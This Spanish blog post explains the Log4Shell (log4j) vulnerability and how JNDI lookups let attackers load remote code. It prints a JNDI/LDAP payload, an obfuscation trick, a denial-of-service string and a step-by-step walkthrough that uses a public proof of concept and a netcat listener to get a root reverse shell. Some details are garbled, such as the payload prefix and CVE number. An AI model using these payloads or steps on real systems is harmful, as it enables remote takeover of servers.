LOG4j: Una de las vulnerabilidades más peligrosas de esta década
¿Qué es log4j?
Por Fernando Manrique
Log4j es una biblioteca open source que permite a los desarrolladores de software elegir la salida y el nivel de granularidad de los mensajes o logs (logging) a tiempo de ejecución y no a tiempo de compilación. La configuración de salida y granularidad de los mensajes es realizada a tiempo de ejecución mediante el uso de archivos de configuración externos.
Por tanto podríamos decir que es una librería adicional de java que permite a nuestra aplicación mostrar mensajes de lo que sucede en la misma. Gestiona parte de los logs de la propia aplicación y es una de las librerías más usadas hasta la actualidad.
¿Quién mantiene log4j?
Ralph goers seguramente en sus ratos libres y de manera gratuita.
¿Cuándo y quién descubrió dicha vulnerabilidad?
Desde que se descubre hasta que se publica la vulnerabilidad pasan 2 semanas.
Esta vulnerabilidad fue descubierta por un trabajador de Alibaba, informado el 24 de noviembre y publicado el día 9 de diciembre.
¿Cuáles han sido las grandes empresas afectadas?
Cisco, Samsung, Tesla, Maincraft, Apple …
¿Como funciona?:
Un atacante sólo tiene que hacer una petición al servidor vulnerable para que quede registrado el payload y este ejecutará código en el sistema remoto.
Una vez registrado, se identifica como una ejecución y carga por medio de LDAP el código malicioso.
log4j interpreta al payload.
JNDI:
Es una interfaz de programación (API) que proporciona funcionalidades de nombrado y directorio a las aplicaciones escritas usando Java.
La API JNDI permite escribir código Java que realice operaciones sobre directorios. Es una API uniforme a todos los tipos de servicios de directorios.
JNDI: permite cargar código malicioso de una fuente externa.
Por tanto, capa de JNDI SPI, permite usar los protocolos para hacer una petición y obtener una respuesta, pudiendo usarse para una ejecución remota.
Protocolos más peligrosos que se están usando:
-
- LDAP
- DNS
- LDAP
NOTA: Está desde el año 2016, por tanto la vulnerabilidad ya existía pero no ha sido descubierta hasta esta año.
Curiosidades:
Apple: En el nombre del dispositivo se pone el nombre del propio payload, este será enviado e interpretado en los servidores de apple.
Algunos de los ejemplos por los que se puede pasar el payload:
- paquetes de red
- secuencia
- nombre de dispositivo
- formularios
NOTA: casi todo internet es vulnerable a log4shell
Esquema de ataque:
Ejecución remota de código:
- Como se ejecuta:
Se necesitará un servidor DNS para analizar las máquinas vulnerables y un servidor LDAP para descargar el código malicioso. - Payload base: &{jndi:ldap://vulnerable.com}
- Búsqueda del mismo en los logs: usando la funcionalidad de grep/zgrep
NOTA: El problema es que secpuede ofuscar haciéndolo casi indetectable. El payload se puede ofuscar rápidamente con métodos de ofuscación sencilla.
Ejemplo de ofuscamiento simple:
Separar las letras con ${::-letra}, de manera que siga funcionando.
Denegación de Servicio:
1.- payload:
${${::-${::-$${::-$}}}}
Ejemplo de Explotación: CVE-202144228
>>> clonamos el proyecto:
github: https://github.com/kozmer/log4j-shell-poc.git
➔ mkdir log4j
➔ cd log4j
➔ git clone https://github.com/kozmer/log4j-shell-poc.git
>>> Instalamos docker
docker build -t log4j-shell-poc
docker run –network host log4j-shell-poc
En el navegador:
Levanta la aplicación vulnerable, lo que se inserte se registra en el log4j
>>> Explotación: descargar e instalar jdk version – 8u202-b08
adaptar el exploit para nuestro path del jdk.
>>> ponemos el servidor de la máquina atacante a la escucha como root y generamos el payload
python3 poc.py –userip [ip de la máquina atacante] –webport [8080] –lport [3000]
La siguiente línea sirve para aceptar la conexión reversa netcat listener:
sudo nc -nvlp 3000
>> Introducir en el input de la máquina vulnerable el payload obtenido, esto nos generará una shell remota a la máquina vulnerable como root:
Cómo siempre digo y no me canso de decir I LOVE CHAMALEON 🙂 #camaleondigital.